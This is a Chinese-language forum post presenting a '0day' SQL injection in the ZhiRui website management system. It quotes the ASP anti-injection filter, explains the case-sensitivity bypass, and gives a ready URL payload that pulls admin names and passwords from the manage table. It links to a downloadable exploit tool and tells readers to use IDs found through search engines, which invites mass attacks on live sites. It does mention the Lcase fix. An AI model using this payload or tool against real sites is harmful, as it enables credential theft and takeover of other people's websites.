智睿网站管理系统通杀0day
为什么说通杀,因为他的代码都是自己写的,目前测试杀企业网站管理系统和学校网站管理系统
不多说,看代码,首先看info_show.asp文件代码,其他文件类似
dim ClassId,TopID,ClassName,Inid,SeoTitle,LePl
ClassId=request.QueryString("ClassId") //这里ClassId为过滤
TopID=request.QueryString("TopID")
Inid=int(request.QueryString("InfoId"))
LePl=Request.form("LePl")
Call SeoUi("zhi_rui_E_io_Class","info",ClassId)//这里调用自己写的函数SeoUi带入数据库查询
Call Kio("zhi_rui_E_io","info",Inid)
但是开始调用了--#include file="Include/Nsql.asp"-防注入文件,坏就坏在这个防注入文件上,看代码;
dim SQL_inj,SQL_Get,SQL_Data,Sql_Post
SQL_inj = split(DataNsql,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "Script Language=javascript>alert('注意:请不要提交非法请求!\nHttp://Www.ZhiRui.net');history.back(-1)Script>"
Response.end()
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "Script Language=javascript>alert('注意:请不要提交非法请求!\nHttp://Www.ZhiRui.net');history.back(-1)Script>"
Response.end()
end if
next
next
end if
貌似很正常防注入代码,没什么问题,但是还是有问题的,仔细看这处if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
呵呵,少了什么,对就是Lcase函数。也就是说现在的防注入只防and 但是不防And,instr函数只返回字符位置,并不会去比较大小写,修补办法就是加上Lcase函数,改成Lcase(Request.Form(Sql_Post)),知道了问题的原因,我们再来看看都过滤了那些字符,DataNsql="and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|set|from|="
注意,最后一个过滤了等号,因为等号没办法转换大小写啊,但是也没事,大不了我不用等号,like也行啊,大于小于号也行啊,给出注入语句
http://test.3est.com/info_Show.asp?InfoId=175&ClassId=27%20And%201>2%20Union%20Select%201,Password%2Badminname%20From%20zhi_rui_e_manage
由于过滤了等号,这里我使用了1>2来使他出错,执行后面的联合查询。
漏洞已通知官方,和官方相谈胜欢,也得到了不少好处,所以这个洞推迟了几天。这几天时间里写了个利用程序,如图:
其中infoid和classid填写你在搜索引擎中看到的id,
下载去我的网盘吧,为这点可怜的小空间,就不在这传了,源码和工具都在,注意我在程序里加了声音,可能有点大,没办法,为了让程序会说话,
http://cid-31cbc2374bc1f024.skydrive.live.com/home.aspx
在tool文件夹里 zhirui.rar